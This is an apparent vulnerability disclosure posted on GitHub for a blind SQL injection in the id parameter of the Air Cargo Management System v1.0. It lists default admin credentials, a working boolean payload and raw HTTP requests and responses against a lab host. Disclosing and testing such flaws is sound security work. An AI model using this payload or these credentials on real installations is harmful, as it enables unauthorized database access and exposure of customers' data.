

main

...

bug\_report / vendors / oretnom23 / air-cargo-management-system / SQLi-5.md



debug601 Create SQLi-5.md

History

1 contributor

39 lines (25 sloc) | 1.56 KB

...

# Air Cargo Management System v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html>

Vulnerability File: /acms/admin/?page=transactions/manage\_transaction&id=

Vulnerability location: /acms/admin/?page=transactions/manage\_transaction&id=id

[+] Payload: /acms/admin/?

page=transactions/manage\_transaction&id=1%27%20and%20length(database())%20=7%20--+ // Leak place ---> id

Current database name: acms\_db,length is 7

```
GET /acms/admin/?page=transactions/manage_transaction&id=1%27%20and%20length(databas
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh  
Connection: close

When length (database ()) = 6, Content-Length: 37255

Request

RawParamsHeadersHex

GET /acms/admin/?page=transactions/manage\_transaction&id=1%27%20and%20length(database())%20=6%20--+ HTTP/1.1  
Host: 192.168.1.19  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh  
Connection: close

Response

RawHeadersHexHTMLRender

HTTP/1.1 200 OK  
Date: Tue, 03 May 2022 04:51:42 GMT  
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7  
X-Powered-By: PHP/8.0.7  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Access-Control-Allow-Origin: \*  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Content-Length: 37255  
  
<!DOCTYPE html>  
<html lang="en" class="" style="height: auto;">  
<head>  
<meta charset="utf-8">  
<meta name="viewport" content="width=device-width, initial-scale=1">

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL  
Split URL  
Execute

http://192.168.1.19/acms/admin/?page=transactions/manage\_transaction&id=1' and length(database()) =6--+

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☐ Insert string to replace ☐ Insert replacing string ☒ Replace All

MCW - PHP  
Dashboard  
+ Add New Shipment  
Shipment List  
Maintenance  
Cargo Types  
Users  
Settings

Mobile Comparison Website - Admin  
Admi

Update Smart Phone's Details

Sender Information

Full Name  
Contact #  
Address

Receiver Information

Full Name  
Contact #  
Address

When length (database ()) = 7, Content-Length: 43289

Request

RawParamsHeadersHex

GET /acms/admin/?page=transactions/manage\_transaction&id=1%27%20and%20length(database())%20=7%20--+ HTTP/1.1  
Host: 192.168.1.19  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh  
Connection: close

Response

RawHeadersHexHTMLRender

HTTP/1.1 200 OK  
Date: Tue, 03 May 2022 04:51:08 GMT  
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7  
X-Powered-By: PHP/8.0.7  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Access-Control-Allow-Origin: \*  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Content-Length: 43289  
  
<!DOCTYPE html>  
<html lang="en" class="" style="height: auto;">  
<head>  
<meta charset="utf-8">  
<meta name="viewport" content="width=device-width, initial-scale=1">

INT

SQL BASICSTOOLSWAF BYPASSENCODINGHTMLENCRYPTIONOTHERXSSLFI

Load URLSplit URLExecute

Post dataReferrer0xHEX%URLBASE64Insert string to replaceInsert replacing stringReplace All

MCW - PHP

Mobile Comparison Website - Admin

DashboardAdd New ShipmentShipment ListMaintenanceCargo TypesUsersSettings

Add New Smart Phone

Sender Information

Full Name

Mark Cooper

Contact #

09123456789

Address

Receiver Information

Full Name

Samantha Jane Miller

Contact #

096547892213

Address